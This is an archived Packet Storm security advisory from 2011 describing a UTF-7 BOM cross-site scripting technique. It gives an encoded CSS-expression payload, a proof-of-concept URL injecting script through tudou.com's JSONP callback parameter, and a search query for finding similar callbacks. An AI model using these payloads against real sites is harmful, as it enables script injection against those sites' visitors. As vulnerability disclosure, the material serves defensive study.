what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tudou.com UTF7-BOM Cross Site Scripting

tudou.com UTF7-BOM Cross Site Scripting
Posted Feb 9, 2011
Authored by 80vul | Site 80vul.com

tudou.com suffers from a UTF7-BOM cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 77f0d0d5cee1f1942628632a5418bf0a7ee03fa31382d631e811d6018223f820

tudou.com UTF7-BOM Cross Site Scripting

Change Mirror Download
xss attacks through utf7-BOM string injection

the beginning of the utf-7 BOM chascter is from Gareth Heyes's paper 《XSS
Lightsabre techniques》

---------------------start----------------------------------
CSS expressions with UTF-7
• UTF-7 BOM character can force UTF-7 in a external style sheet
• Would you let me upload a style sheet?
• @charset „UTF-7‟; works
• But you don‟t need it
• +/v8 is all you need
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';
---------------------------end-----------------------------

this eg is for style sheet, and it work well on html file. like this demo:
http://www.80vul.com/test/utf7.htm. the file format is only base on the
first four bytes and the Space. so If we can control the beginning of the
file bytes of html file, Then we can be injected any html/javascript code,
it can lead to xss attacks.

json-callback + utf7-BOM string injection == lots of xss vul

online, lots of sites set the json file's Content-Type: text/html. and
"callback" function name at the first bytes is a ariable. so it leadto xss
vuls using utf7-BOM string injection.

the demo:

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas

and u can use GOOGLE Hacking to find where are the callbacks:

site:80vul.com inurl:callback


Happy New Year!

thanks Mario Heiderich for u tell me what is "+/v8" :)
thanks Gareth Heyes for u the nice paper.

--superhei from http://www.80vul.com

--ad--
About Ph4nt0m Webzine

Ph4nt0m Webzine is a free network Security Magazine,We accept articles in
English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank you!
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close